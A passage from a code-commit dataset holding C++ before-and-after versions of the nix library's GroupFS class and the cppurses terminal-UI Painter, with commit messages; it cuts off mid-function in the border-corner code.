names_new.end(),\n                        std::inserter(names_rem, names_rem.begin()));\n\n    \/\/ check if all new references exist & add sources\n    auto blck = std::dynamic_pointer_cast<BlockFS>(block());\n    for (auto name : names_add) {\n        if (!blck->hasTag(name))\n            throw std::runtime_error(\"One or more tags do not exist in this block!\");\n        addTag(blck->getTag(name)->id());\n    }\n    \/\/ remove references\n    for (auto name : names_rem) {\n        if (!blck->hasTag(name))\n            removeTag(blck->getTag(name)->id());\n    }\n}\n\n\nbool GroupFS::hasMultiTag(const std::string &name_or_id) const {\n    std::string id = name_or_id;\n    if (!util::looksLikeUUID(name_or_id) && block()->hasMultiTag(name_or_id)) {\n        id = block()->getMultiTag(name_or_id)->id();\n    }\n    return multi_tag_group.hasObject(id);\n}\n\n\nndsize_t GroupFS::multiTagCount() const {\n    return multi_tag_group.subdirCount();\n}\n\n\nvoid GroupFS::addMultiTag(const std::string &name_or_id) {\n    if (name_or_id.empty())\n        throw EmptyString(\"addTag\");\n\n    if (!block()->hasMultiTag(name_or_id))\n        throw std::runtime_error(\"GroupFS::addMultiTag: MultiTag not found in block!\");\n\n    auto target = std::dynamic_pointer_cast<MultiTagFS>(block()->getMultiTag(name_or_id));\n    multi_tag_group.createDirectoryLink(target->location(), target->id());\n}\n\n\nstd::shared_ptr<base::IMultiTag> GroupFS::getMultiTag(const std::string &name_or_id) const {\n    std::shared_ptr<base::IMultiTag> mtag;\n\n    std::string id = name_or_id;\n    if (!util::looksLikeUUID(name_or_id) && block()->hasMultiTag(name_or_id)) {\n        id = block()->getMultiTag(name_or_id)->id();\n    }\n\n    if (hasMultiTag(id)) {\n        boost::optional<bfs::path> path = multi_tag_group.findByNameOrAttribute(\"name\", name_or_id);\n        if (path) {\n            return std::make_shared<MultiTagFS>(file(), block(), path->string());\n        }\n    }\n    return mtag;\n}\n\n\nstd::shared_ptr<base::IMultiTag>  GroupFS::getMultiTag(ndsize_t index) const {\n    if(index > multiTagCount()) {\n        throw OutOfBounds(\"No multi tag at given index\", index);\n    }\n    bfs::path p = multi_tag_group.sub_dir_by_index(index);\n    return std::make_shared<MultiTagFS>(file(), block(), p.string());\n}\n\n\nbool GroupFS::removeMultiTag(const std::string &name_or_id) {\n    return multi_tag_group.removeObjectByNameOrAttribute(\"name\", name_or_id);\n}\n\n\nvoid GroupFS::multiTags(const std::vector<MultiTag> &multi_tags) {\n    \/\/ extract vectors of names from vectors of new & old references\n    std::vector<std::string> names_new(multi_tags.size());\n    transform(multi_tags.begin(), multi_tags.end(), names_new.begin(), util::toName<MultiTag>);\n\n    size_t count = nix::check::fits_in_size_t(multiTagCount(), \"multiTagCount() failed! count > than size_t!\");\n    std::vector<MultiTag> refs_old(count);\n    for (size_t i = 0; i < refs_old.size(); i++){\n        refs_old[i] = getMultiTag(i);\n    }\n    std::vector<std::string> names_old(refs_old.size());\n    std::transform(refs_old.begin(), refs_old.end(), names_old.begin(), util::toName<MultiTag>);\n\n    \/\/ sort them\n    std::sort(names_new.begin(), names_new.end());\n    std::sort(names_new.begin(), names_new.end());\n\n    \/\/ get names only in names_new (add), names only in names_old (remove) & ignore rest\n    std::vector<std::string> names_add;\n    std::vector<std::string> names_rem;\n    std::set_difference(names_new.begin(), names_new.end(), names_old.begin(), names_old.end(),\n                        std::inserter(names_add, names_add.begin()));\n    std::set_difference(names_old.begin(), names_old.end(), names_new.begin(), names_new.end(),\n                        std::inserter(names_rem, names_rem.begin()));\n\n    \/\/ check if all new references exist & add sources\n    auto blck = std::dynamic_pointer_cast<BlockFS>(block());\n    for (auto name : names_add) {\n        if (!blck->hasMultiTag(name))\n            throw std::runtime_error(\"One or more multiTags do not exist in this block!\");\n        addMultiTag(blck->getMultiTag(name)->id());\n    }\n    \/\/ remove references\n    for (auto name : names_rem) {\n        if (!blck->hasMultiTag(name))\n            removeMultiTag(blck->getMultiTag(name)->id());\n    }\n}\n\n} \/\/ file\n} \/\/ nix\n\n<commit_msg>[GroupFS] change vector setter to check for name and id<commit_after>\/\/ Copyright (c) 2013 - 2015, German Neuroinformatics Node (G-Node)\n\/\/\n\/\/ All rights reserved.\n\/\/\n\/\/ Redistribution and use in source and binary forms, with or without\n\/\/ modification, are permitted under the terms of the BSD License. See\n\/\/ LICENSE file in the root of the Project.\n\n#include \"GroupFS.hpp\"\n\n#include \"DataArrayFS.hpp\"\n#include \"TagFS.hpp\"\n#include \"MultiTagFS.hpp\"\n#include \"BlockFS.hpp\"\n\nnamespace bfs= boost::filesystem;\n\nnamespace nix {\nnamespace file {\n\n\nGroupFS::GroupFS(const std::shared_ptr<base::IFile> &file, const std::shared_ptr<base::IBlock> &block,\n                 const std::string &loc)\n    : EntityWithSourcesFS(file, block, loc)\n{\n    createSubFolders(file);\n}\n\n\nGroupFS::GroupFS(const std::shared_ptr<base::IFile> &file, const std::shared_ptr<base::IBlock> &block,\n                 const std::string &loc, const std::string &id, const std::string &type, const std::string &name)\n    : GroupFS(file, block, loc, id, type, name, util::getTime())\n{\n}\n\n\nGroupFS::GroupFS(const std::shared_ptr<base::IFile> &file, const std::shared_ptr<base::IBlock> &block,\n                 const std::string &loc, const std::string &id, const std::string &type, const std::string &name, time_t time)\n    : EntityWithSourcesFS(file, block, loc, id, type, name, time)\n{\n    createSubFolders(file);\n}\n\n\nvoid GroupFS::createSubFolders(const std::shared_ptr<base::IFile> &file) {\n    bfs::path das(\"data_arrays\");\n    bfs::path tags(\"tags\");\n    bfs::path mtags(\"multi_tags\");\n    bfs::path p(location());\n\n    data_array_group = Directory(p \/ das, file->fileMode());\n    tag_group = Directory(p \/ tags, file->fileMode());\n    multi_tag_group = Directory(p \/ mtags, file->fileMode());\n}\n\n\nbool GroupFS::hasDataArray(const std::string &name_or_id) const {\n    std::string id = name_or_id;\n\n    if (!util::looksLikeUUID(name_or_id) && block()->hasDataArray(name_or_id)) {\n        id = block()->getDataArray(name_or_id)->id();\n    }\n\n    return data_array_group.hasObject(id);\n}\n\n\nndsize_t GroupFS::dataArrayCount() const {\n    return data_array_group.subdirCount();\n}\n\n\nvoid GroupFS::addDataArray(const std::string &name_or_id) {\n    if (name_or_id.empty())\n        throw EmptyString(\"addDataArray\");\n\n    if (!block()->hasDataArray(name_or_id))\n        throw std::runtime_error(\"GroupFS::addDataArray: DataArray not found in block!\");\n\n    auto target = std::dynamic_pointer_cast<DataArrayFS>(block()->getDataArray(name_or_id));\n    data_array_group.createDirectoryLink(target->location(), target->id());\n}\n\n\nstd::shared_ptr<base::IDataArray> GroupFS::getDataArray(const std::string &name_or_id) const {\n    std::shared_ptr<base::IDataArray> da;\n\n    std::string id = name_or_id;\n    if (!util::looksLikeUUID(name_or_id) && block()->hasDataArray(name_or_id)) {\n        id = block()->getDataArray(name_or_id)->id();\n    }\n\n    if (hasDataArray(id)) {\n        boost::optional<bfs::path> path = data_array_group.findByNameOrAttribute(\"name\", name_or_id);\n        if (path) {\n            return std::make_shared<DataArrayFS>(file(), block(), path->string());\n        }\n    }\n    return da;\n}\n\n\nstd::shared_ptr<base::IDataArray>  GroupFS::getDataArray(ndsize_t index) const {\n    if(index > dataArrayCount()) {\n        throw OutOfBounds(\"No reference at given index\", index);\n    }\n    bfs::path p = data_array_group.sub_dir_by_index(index);\n    return std::make_shared<DataArrayFS>(file(), block(), p.string());\n}\n\n\nbool GroupFS::removeDataArray(const std::string &name_or_id) {\n    return data_array_group.removeObjectByNameOrAttribute(\"name\", name_or_id);\n}\n\n\nvoid GroupFS::dataArrays(const std::vector<DataArray> &data_arrays) {\n    auto cmp = [](const DataArray &a, const DataArray& b) { return a.name() < b.name(); };\n    std::vector<DataArray> new_arrays(data_arrays);\n    size_t array_count = nix::check::fits_in_size_t(dataArrayCount(), \"dataArrayCount() failed; count > size_t.\");\n\n    std::vector<DataArray> old_arrays(array_count);\n    for (size_t i = 0; i < old_arrays.size(); i++) {\n        old_arrays[i] = getDataArray(i);\n    }\n    std::sort(new_arrays.begin(), new_arrays.end(), cmp);\n    std::sort(old_arrays.begin(), old_arrays.end(), cmp);\n    std::vector<DataArray> add;\n    std::vector<DataArray> rem;\n    \n    std::set_difference(new_arrays.begin(), new_arrays.end(), old_arrays.begin(), old_arrays.end(),\n                        std::inserter(add, add.begin()), cmp);\n    std::set_difference(old_arrays.begin(), old_arrays.end(), new_arrays.begin(), new_arrays.end(),\n                        std::inserter(rem, rem.begin()), cmp);\n\n    auto blck = std::dynamic_pointer_cast<BlockFS>(block());\n    for (auto da : add) {\n        DataArray a = blck->getDataArray(da.name());\n        if (!a || a.id() != da.id())\n            throw std::runtime_error(\"One or more data arrays do not exist in this block!\");\n        addDataArray(a.id());\n    }\n    for (auto da : rem) {\n        removeDataArray(da.id());\n    }\n}\n\n\nbool GroupFS::hasTag(const std::string &name_or_id) const {\n    std::string id = name_or_id;\n    if (!util::looksLikeUUID(name_or_id) && block()->hasTag(name_or_id)) {\n        id = block()->getTag(name_or_id)->id();\n    }\n    return tag_group.hasObject(id);\n}\n\n\nndsize_t GroupFS::tagCount() const {\n    return tag_group.subdirCount();\n}\n\n\nvoid GroupFS::addTag(const std::string &name_or_id) {\n    if (name_or_id.empty())\n        throw EmptyString(\"addTag\");\n\n    if (!block()->hasTag(name_or_id))\n        throw std::runtime_error(\"GroupFS::addTag: Tag not found in block!\");\n\n    auto target = std::dynamic_pointer_cast<TagFS>(block()->getTag(name_or_id));\n    tag_group.createDirectoryLink(target->location(), target->id());\n}\n\n\nstd::shared_ptr<base::ITag> GroupFS::getTag(const std::string &name_or_id) const {\n    std::shared_ptr<base::ITag> tag;\n\n    std::string id = name_or_id;\n    if (!util::looksLikeUUID(name_or_id) && block()->hasTag(name_or_id)) {\n        id = block()->getTag(name_or_id)->id();\n    }\n\n    if (hasTag(id)) {\n        boost::optional<bfs::path> path = tag_group.findByNameOrAttribute(\"name\", name_or_id);\n        if (path) {\n            return std::make_shared<TagFS>(file(), block(), path->string());\n        }\n    }\n    return tag;\n}\n\n\nstd::shared_ptr<base::ITag>  GroupFS::getTag(ndsize_t index) const {\n    if(index > tagCount()) {\n        throw OutOfBounds(\"No tag at given index\", index);\n    }\n    bfs::path p = tag_group.sub_dir_by_index(index);\n    return std::make_shared<TagFS>(file(), block(), p.string());\n}\n\n\nbool GroupFS::removeTag(const std::string &name_or_id) {\n    return tag_group.removeObjectByNameOrAttribute(\"name\", name_or_id);\n}\n\n\nvoid GroupFS::tags(const std::vector<Tag> &tags) {\n    auto cmp = [](const Tag &a, const Tag& b) { return a.name() < b.name(); };\n    \n    std::vector<Tag> new_tags(tags); \n    size_t tag_count = nix::check::fits_in_size_t(tagCount(), \"tagCount() failed; count > size_t.\");\n    std::vector<Tag> old_tags(tag_count);\n    for (size_t i = 0; i < old_tags.size(); i++) {\n        old_tags[i] = getTag(i);\n    }\n    std::sort(new_tags.begin(), new_tags.end(), cmp);\n    std::sort(old_tags.begin(), old_tags.end(), cmp);\n    std::vector<Tag> add;\n    std::vector<Tag> rem;\n    \n    std::set_difference(new_tags.begin(), new_tags.end(), old_tags.begin(), old_tags.end(),\n                        std::inserter(add, add.begin()), cmp);\n    std::set_difference(old_tags.begin(), old_tags.end(), new_tags.begin(), new_tags.end(),\n                        std::inserter(rem, rem.begin()), cmp);\n\n    auto blck = std::dynamic_pointer_cast<BlockFS>(block());\n    for (auto t : add) {\n        Tag tag = blck->getTag(t.name());\n        if (!tag || tag.id() != t.id())\n            throw std::runtime_error(\"One or more tags do not exist in this block!\");\n        addTag(t.id());\n    }\n    for (auto t : rem) {\n        removeTag(t.id());\n    }\n}\n\n\nbool GroupFS::hasMultiTag(const std::string &name_or_id) const {\n    std::string id = name_or_id;\n    if (!util::looksLikeUUID(name_or_id) && block()->hasMultiTag(name_or_id)) {\n        id = block()->getMultiTag(name_or_id)->id();\n    }\n    return multi_tag_group.hasObject(id);\n}\n\n\nndsize_t GroupFS::multiTagCount() const {\n    return multi_tag_group.subdirCount();\n}\n\n\nvoid GroupFS::addMultiTag(const std::string &name_or_id) {\n    if (name_or_id.empty())\n        throw EmptyString(\"addTag\");\n\n    if (!block()->hasMultiTag(name_or_id))\n        throw std::runtime_error(\"GroupFS::addMultiTag: MultiTag not found in block!\");\n\n    auto target = std::dynamic_pointer_cast<MultiTagFS>(block()->getMultiTag(name_or_id));\n    multi_tag_group.createDirectoryLink(target->location(), target->id());\n}\n\n\nstd::shared_ptr<base::IMultiTag> GroupFS::getMultiTag(const std::string &name_or_id) const {\n    std::shared_ptr<base::IMultiTag> mtag;\n\n    std::string id = name_or_id;\n    if (!util::looksLikeUUID(name_or_id) && block()->hasMultiTag(name_or_id)) {\n        id = block()->getMultiTag(name_or_id)->id();\n    }\n\n    if (hasMultiTag(id)) {\n        boost::optional<bfs::path> path = multi_tag_group.findByNameOrAttribute(\"name\", name_or_id);\n        if (path) {\n            return std::make_shared<MultiTagFS>(file(), block(), path->string());\n        }\n    }\n    return mtag;\n}\n\n\nstd::shared_ptr<base::IMultiTag>  GroupFS::getMultiTag(ndsize_t index) const {\n    if(index > multiTagCount()) {\n        throw OutOfBounds(\"No multi tag at given index\", index);\n    }\n    bfs::path p = multi_tag_group.sub_dir_by_index(index);\n    return std::make_shared<MultiTagFS>(file(), block(), p.string());\n}\n\n\nbool GroupFS::removeMultiTag(const std::string &name_or_id) {\n    return multi_tag_group.removeObjectByNameOrAttribute(\"name\", name_or_id);\n}\n\n\nvoid GroupFS::multiTags(const std::vector<MultiTag> &multi_tags) {\n    auto cmp = [](const MultiTag &a, const MultiTag& b) { return a.name() < b.name(); };\n    std::vector<MultiTag> new_tags(multi_tags); \n    size_t tag_count = nix::check::fits_in_size_t(multiTagCount(), \"multiTagCount() failed; count > size_t.\");\n    std::vector<MultiTag> old_tags(tag_count);\n    for (size_t i = 0; i < old_tags.size(); i++) {\n        old_tags[i] = getMultiTag(i);\n    }\n    std::sort(new_tags.begin(), new_tags.end(), cmp);\n    std::sort(old_tags.begin(), old_tags.end(), cmp);\n    std::vector<MultiTag> add;\n    std::vector<MultiTag> rem;\n    \n    std::set_difference(new_tags.begin(), new_tags.end(), old_tags.begin(), old_tags.end(),\n                        std::inserter(add, add.begin()), cmp);\n    std::set_difference(old_tags.begin(), old_tags.end(), new_tags.begin(), new_tags.end(),\n                        std::inserter(rem, rem.begin()), cmp);\n\n    auto blck = std::dynamic_pointer_cast<BlockFS>(block());\n    for (auto t : add) {\n        MultiTag tag = blck->getMultiTag(t.name());\n        if (!tag || tag.id() != t.id())\n            throw std::runtime_error(\"One or more data multiTags do not exist in this block!\");\n        addMultiTag(t.id());\n    }\n    for (auto t : rem) {\n        removeMultiTag(t.id());\n    }\n}\n\n} \/\/ file\n} \/\/ nix\n\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>Hotfix to prevent segfault while importing backups<commit_after><|endoftext|>"}
{"text":"<commit_before>#include \"painter\/painter.hpp\"\n#include <cstddef>\n#include <cstring>\n#include <optional\/optional.hpp>\n#include \"painter\/brush.hpp\"\n#include \"painter\/color.hpp\"\n#include \"painter\/glyph.hpp\"\n#include \"painter\/glyph_string.hpp\"\n#include \"painter\/paint_buffer.hpp\"\n#include \"system\/system.hpp\"\n#include \"widget\/border.hpp\"\n#include \"widget\/coordinates.hpp\"\n#include \"widget\/widget.hpp\"\n\nnamespace cppurses {\n\nPainter::Painter(Widget* widget) : widget_{widget} {}\n\nvoid Painter::put(const Glyph_string& text, std::size_t x, std::size_t y) {\n    if (!widget_->on_tree() || !widget_->visible()) {\n        return;\n    }\n    Coordinates original_position{widget_->cursor_x(), widget_->cursor_y()};\n    move_cursor(*widget_, x, y);\n    for (Glyph g : text) {\n        add_default_attributes(&g);\n        auto glob_x = widget_->x() + widget_->cursor_x();\n        auto glob_y = widget_->y() + widget_->cursor_y();\n        if (std::strcmp(g.c_str(), \"\\n\") == 0) {\n            move_cursor(*widget_, 0, widget_->cursor_y() + 1);\n        }  \/\/ TODO else if ( == \\t) then move to next x coord divisible by\n           \/\/ tabspace\n           \/\/ should be here and textbox should just account for it.\n        else {\n            System::paint_buffer()->stage(glob_x, glob_y, g);\n            move_cursor(*widget_, widget_->cursor_x() + 1, widget_->cursor_y());\n        }\n    }\n    if (!move_cursor_on_put) {\n        move_cursor(*widget_, original_position.x, original_position.y);\n    }\n}\n\nvoid Painter::put(const Glyph_string& text, Coordinates position) {\n    this->put(text, position.x, position.y);\n}\n\nvoid Painter::put(const Glyph_string& text) {\n    this->put(text, widget_->cursor_x(), widget_->cursor_y());\n}\n\nvoid Painter::fill(std::size_t x,\n                   std::size_t y,\n                   std::size_t width,\n                   std::size_t height,\n                   const Glyph& tile) {\n    if (width == 0) {\n        return;\n    }\n    for (; y < height; ++y) {\n        this->line(x, y, width - 1, y, tile);\n    }\n}\n\nvoid Painter::line(std::size_t x1,\n                   std::size_t y1,\n                   std::size_t x2,\n                   std::size_t y2,\n                   const Glyph_string& gs) {\n    \/\/ No diagonal lines atm.\n    if (y1 == y2) {  \/\/ Horizontal\n        for (; x1 <= x2; ++x1) {\n            this->put(gs, x1, y1);\n        }\n    } else if (x1 == x2) {  \/\/ Vertical\n        for (; y1 <= y2; ++y1) {\n            this->put(gs, x1, y1);\n        }\n    }\n}\n\nvoid Painter::border(const Border& b) {\n    if (!b.enabled) {\n        return;\n    }\n    std::size_t width = widget_->width() + west_border_offset(*widget_);\n    std::size_t height = widget_->height() + north_border_offset(*widget_);\n    if (width < 1 || height < 1) {\n        return;\n    }\n\n    const std::size_t widg_x = widget_->x() - west_border_offset(*widget_);\n    const std::size_t widg_y = widget_->y() - north_border_offset(*widget_);\n\n    \/\/ Underflow Checks\n    if (widg_x + width < 1 && (b.north_enabled || b.south_enabled)) {\n        return;\n    }\n    if (widg_y + height < 1 && (b.east_enabled || b.west_enabled)) {\n        return;\n    }\n\n    \/\/ North Wall\n    Coordinates north_left{widg_x + 1, widg_y};\n    Coordinates north_right{widg_x + width - 1, widg_y};\n    \/\/ South Wall\n    Coordinates south_left{widg_x + 1, widg_y + height};\n    Coordinates south_right{widg_x + width - 1, widg_y + height};\n    \/\/ West Wall\n    Coordinates west_top{widg_x, widg_y + 1};\n    Coordinates west_bottom{widg_x, widg_y + height - 1};\n    \/\/ East Wall\n    Coordinates east_top{widg_x + width, widg_y + 1};\n    Coordinates east_bottom{widg_x + width, widg_y + height - 1};\n\n    \/\/ Corners\n    Coordinates north_east{east_top.x, north_left.y};\n    Coordinates north_west{west_top.x, north_right.y};\n    Coordinates south_east{east_bottom.x, south_left.y};\n    Coordinates south_west{west_bottom.x, south_right.y};\n\n    \/\/ Special Cases:\n    \/\/ Height == 1\n    if (widget_->height() == 1 && widget_->north_border_disqualified()) {\n        west_top = Coordinates{widg_x, widg_y};\n        west_bottom = west_top;\n        east_top = Coordinates{widg_x + width, widg_y};\n        east_bottom = east_top;\n    } else if (widget_->height() == 1 && widget_->south_border_disqualified() &&\n               !widget_->north_border_disqualified()) {  \/\/ && b.north_enabled?\n        west_top = Coordinates{widg_x, widg_y + 1};\n        west_bottom = west_top;\n        east_top = Coordinates{widg_x + width, widg_y + 1};\n        east_bottom = east_top;\n    }\n\n    \/\/ Width == 1\n    if (widget_->width() == 1 && widget_->west_border_disqualified()) {\n        north_left = Coordinates{widg_x, widg_y};\n        north_right = north_left;\n        south_left = Coordinates{widg_x, widg_y + height \/*- 1*\/};\n        south_right = south_left;\n    } else if (widget_->width() == 1 && widget_->east_border_disqualified() &&\n               !widget_->west_border_disqualified()) {  \/\/ && b.west_enabled?\n        north_left = Coordinates{widg_x + 1, widg_y};\n        north_right = north_left;\n        south_left = Coordinates{widg_x + 1, widg_y + height \/*- 1*\/};\n        south_right = south_left;\n    }\n\n    \/\/ North\n    if (b.north_enabled && !widget_->north_border_disqualified()) {\n        this->unbound_line(north_left, north_right, b.north);\n    }\n    \/\/ South\n    if (b.south_enabled && !widget_->south_border_disqualified()) {\n        this->unbound_line(south_left, south_right, b.south);\n    }\n    \/\/ West\n    if (b.west_enabled && !widget_->west_border_disqualified()) {\n        this->unbound_line(west_top, west_bottom, b.west);\n    }\n    \/\/ East\n    if (b.east_enabled && !widget_->east_border_disqualified()) {\n        this->unbound_line(east_top, east_bottom, b.east);\n    }\n    \/\/ North-West\n    if (b.north_west_enabled && !widget_->north_border_disqualified() &&\n        !widget_->west_border_disqualified()) {\n        this->unbound_put_string(north_west, b.north_west);\n    }\n    \/\/ North-East\n    if (b.north_east_enabled && !widget_->north_border_disqualified() &&\n        !widget_->east_border_disqualified()) {\n        this->unbound_put_string(north_east, b.north_east);\n    }\n    \/\/ South-West\n    if (b.south_west_enabled && !widget_->south_border_disqualified() &&\n        !widget_->west_border_disqualified()) {\n        this->unbound_put_string(south_west, b.south_west);\n    }\n    \/\/ South-East\n    if (b.south_east_enabled && !widget_->south_border_disqualified() &&\n        !widget_->east_border_disqualified()) {\n        this->unbound_put_string(south_east, b.south_east);\n    }\n}\n\nvoid Painter::clear_screen() {\n    auto width = widget_->width() + west_border_offset(*widget_) +\n                 east_border_offset(*widget_);\n    auto height = widget_->height() + north_border_offset(*widget_) +\n                  south_border_offset(*widget_);\n    auto gx = widget_->x() - west_border_offset(*widget_);\n    auto gy = widget_->y() - north_border_offset(*widget_);\n\n    if (width == 0 || height == 0) {\n        return;\n    }\n    Glyph bg_tile = widget_->background_tile;\n    if (!bg_tile.brush().background_color() &&\n        widget_->brush.background_color()) {\n        bg_tile.brush().set_background(*widget_->brush.background_color());\n    }\n    if (!bg_tile.brush().foreground_color() &&\n        widget_->brush.foreground_color()) {\n        bg_tile.brush().set_foreground(*widget_->brush.foreground_color());\n    }\n    for (std::size_t i{gy}; i < gy + height; ++i) {\n        this->unbound_line(gx, i, gx + width - 1, i, bg_tile);\n    }\n}\n\nvoid Painter::unbound_put_string(const Coordinates& point,\n                                 const Glyph_string& gs) {\n    this->unbound_put_string(point.x, point.y, gs);\n}\n\nvoid Painter::unbound_put_string(std::size_t glob_x,\n                                 std::size_t glob_y,\n                                 const Glyph_string& gs) {\n    if (!widget_->on_tree() || !widget_->visible()) {\n        return;\n    }\n    for (Glyph g : gs) {\n        add_default_attributes(&g);\n        System::paint_buffer()->stage(glob_x++, glob_y, g);\n    }\n}\n\nvoid Painter::unbound_line(const Coordinates& point_1,\n                           const Coordinates& point_2,\n                           const Glyph& symbol) {\n    this->unbound_line(point_1.x, point_1.y, point_2.x, point_2.y, symbol);\n}\n\nvoid Painter::unbound_line(std::size_t glob_x1,\n                           std::size_t glob_y1,\n                           std::size_t glob_x2,\n                           std::size_t glob_y2,\n                           const Glyph& symbol) {\n    \/\/ Horizontal\n    if (glob_y1 == glob_y2) {\n        for (; glob_x1 <= glob_x2; ++glob_x1) {\n            unbound_put_string(glob_x1, glob_y1, symbol);\n        }\n    } else if (glob_x1 == glob_x2) {\n        for (; glob_y1 <= glob_y2; ++glob_y1) {\n            unbound_put_string(glob_x1, glob_y1, symbol);\n        }\n    }\n}\n\nvoid Painter::add_default_attributes(Glyph* g) {\n    if (!g->brush().background_color() && widget_->brush.background_color()) {\n        g->brush().add_attributes(\n            background(*widget_->brush.background_color()));\n    }\n    if (!g->brush().foreground_color() && widget_->brush.foreground_color()) {\n        g->brush().add_attributes(\n            foreground(*widget_->brush.foreground_color()));\n    }\n    for (const auto& attr : widget_->brush.attributes()) {\n        g->brush().add_attributes(attr);\n    }\n}\n\n}  \/\/ namespace cppurses\n<commit_msg>Add special case for border to print in corners<commit_after>#include \"painter\/painter.hpp\"\n#include \"painter\/brush.hpp\"\n#include \"painter\/color.hpp\"\n#include \"painter\/glyph.hpp\"\n#include \"painter\/glyph_string.hpp\"\n#include \"painter\/paint_buffer.hpp\"\n#include \"system\/system.hpp\"\n#include \"widget\/border.hpp\"\n#include \"widget\/coordinates.hpp\"\n#include \"widget\/widget.hpp\"\n\n#include <optional\/optional.hpp>\n\n#include <cstddef>\n#include <cstring>\n\nnamespace cppurses {\n\nPainter::Painter(Widget* widget) : widget_{widget} {}\n\nvoid Painter::put(const Glyph_string& text, std::size_t x, std::size_t y) {\n    if (!widget_->on_tree() || !widget_->visible()) {\n        return;\n    }\n    Coordinates original_position{widget_->cursor_x(), widget_->cursor_y()};\n    move_cursor(*widget_, x, y);\n    for (Glyph g : text) {\n        add_default_attributes(&g);\n        auto glob_x = widget_->x() + widget_->cursor_x();\n        auto glob_y = widget_->y() + widget_->cursor_y();\n        if (std::strcmp(g.c_str(), \"\\n\") == 0) {\n            move_cursor(*widget_, 0, widget_->cursor_y() + 1);\n        }  \/\/ TODO else if ( == \\t) then move to next x coord divisible by\n           \/\/ tabspace\n           \/\/ should be here and textbox should just account for it.\n        else {\n            System::paint_buffer()->stage(glob_x, glob_y, g);\n            move_cursor(*widget_, widget_->cursor_x() + 1, widget_->cursor_y());\n        }\n    }\n    if (!move_cursor_on_put) {\n        move_cursor(*widget_, original_position.x, original_position.y);\n    }\n}\n\nvoid Painter::put(const Glyph_string& text, Coordinates position) {\n    this->put(text, position.x, position.y);\n}\n\nvoid Painter::put(const Glyph_string& text) {\n    this->put(text, widget_->cursor_x(), widget_->cursor_y());\n}\n\nvoid Painter::fill(std::size_t x,\n                   std::size_t y,\n                   std::size_t width,\n                   std::size_t height,\n                   const Glyph& tile) {\n    if (width == 0) {\n        return;\n    }\n    for (; y < height; ++y) {\n        this->line(x, y, width - 1, y, tile);\n    }\n}\n\nvoid Painter::line(std::size_t x1,\n                   std::size_t y1,\n                   std::size_t x2,\n                   std::size_t y2,\n                   const Glyph_string& gs) {\n    \/\/ No diagonal lines atm.\n    if (y1 == y2) {  \/\/ Horizontal\n        for (; x1 <= x2; ++x1) {\n            this->put(gs, x1, y1);\n        }\n    } else if (x1 == x2) {  \/\/ Vertical\n        for (; y1 <= y2; ++y1) {\n            this->put(gs, x1, y1);\n        }\n    }\n}\n\nvoid Painter::border(const Border& b) {\n    if (!b.enabled) {\n        return;\n    }\n    std::size_t width = widget_->width() + west_border_offset(*widget_);\n    std::size_t height = widget_->height() + north_border_offset(*widget_);\n    if (width < 1 || height < 1) {\n        return;\n    }\n\n    const std::size_t widg_x = widget_->x() - west_border_offset(*widget_);\n    const std::size_t widg_y = widget_->y() - north_border_offset(*widget_);\n\n    \/\/ Underflow Checks\n    if (widg_x + width < 1 && (b.north_enabled || b.south_enabled)) {\n        return;\n    }\n    if (widg_y + height < 1 && (b.east_enabled || b.west_enabled)) {\n        return;\n    }\n\n    \/\/ North Wall\n    Coordinates north_left{widg_x + 1, widg_y};\n    Coordinates north_right{widg_x + width - 1, widg_y};\n    \/\/ South Wall\n    Coordinates south_left{widg_x + 1, widg_y + height};\n    Coordinates south_right{widg_x + width - 1, widg_y + height};\n    \/\/ West Wall\n    Coordinates west_top{widg_x, widg_y + 1};\n    Coordinates west_bottom{widg_x, widg_y + height - 1};\n    \/\/ East Wall\n    Coordinates east_top{widg_x + width, widg_y + 1};\n    Coordinates east_bottom{widg_x + width, widg_y + height - 1};\n\n    \/\/ Corners\n    Coordinates north_east{east_top.x, north_left.y};\n    Coordinates north_west{west_top.x, north_right.y};\n    Coordinates south_east{east_bottom.x, south_left.y};\n    Coordinates south_west{west_bottom.x, south_right.y};\n\n    \/\/ Edge Cases:\n    \/\/ Height == 1\n    if (widget_->height() == 1 && widget_->north_border_disqualified()) {\n        west_top = Coordinates{widg_x, widg_y};\n        west_bottom = west_top;\n        east_top = Coordinates{widg_x + width, widg_y};\n        east_bottom = east_top;\n    } else if (widget_->height() == 1 && widget_->south_border_disqualified() &&\n               !widget_->north_border_disqualified()) {  \/\/ && b.north_enabled?\n        west_top = Coordinates{widg_x, widg_y + 1};\n        west_bottom = west_top;\n        east_top = Coordinates{widg_x + width, widg_y + 1};\n        east_bottom = east_top;\n    }\n\n    \/\/ Width == 1\n    if (widget_->width() == 1 && widget_->west_border_disqualified()) {\n        north_left = Coordinates{widg_x, widg_y};\n        north_right = north_left;\n        south_left = Coordinates{widg_x, widg_y + height \/*- 1*\/};\n        south_right = south_left;\n    } else if (widget_->width() == 1 && widget_->east_border_disqualified() &&\n               !widget_->west_border_disqualified()) {  \/\/ && b.west_enabled?\n        north_left = Coordinates{widg_x + 1, widg_y};\n        north_right = north_left;\n        south_left = Coordinates{widg_x + 1, widg_y + height \/*- 1*\/};\n        south_right = south_left;\n    }\n\n    \/\/ North\n    if (b.north_enabled && !widget_->north_border_disqualified()) {\n        this->unbound_line(north_left, north_right, b.north);\n    }\n    \/\/ South\n    if (b.south_enabled && !widget_->south_border_disqualified()) {\n        this->unbound_line(south_left, south_right, b.south);\n    }\n    \/\/ West\n    if (b.west_enabled && !widget_->west_border_disqualified()) {\n        this->unbound_line(west_top, west_bottom, b.west);\n    }\n    \/\/ East\n    if (b.east_enabled && !widget_->east_border_disqualified()) {\n        this->unbound_line(east_top, east_bottom, b.east);\n    }\n    \/\/ North-West\n    if (b.north_west_enabled && !widget_->north_border_disqualified() &&\n        !widget_->west_border_disqualified()) {\n        this->unbound_put_string(north_west, b.north_west);\n    }\n    \/\/ North-East\n    if (b.north_east_enabled && !widget_->north_border_disqualified() &&\n        !widget_->east_border_disqualified()) {\n        this->unbound_put_string(north_east, b.north_east);\n    }\n    \/\/ South-West\n    if (b.south_west_enabled && !widget_->south_border_disqualified() &&\n        !widget_->west_border_disqualified()) {\n        this->unbound_put_string(south_west, b.south_west);\n    }\n    \/\/ South-East\n    if (b.south_east_enabled && !widget_->south_border_disqualified() &&\n        !widget_->east_border_disqualified()) {\n        this->unbound_put_string(south_east, b.south_east);\n    }\n\n    \/\/ Corners - Special Cases\n    \/\/ North-West\n    if (!b.north_west_enabled && !b.north_enabled && b.west_enabled) {\n        this->unbound_put_string(north_west, b.west);\n    } else if (!b.north_west_enabled && !b.west_enabled && 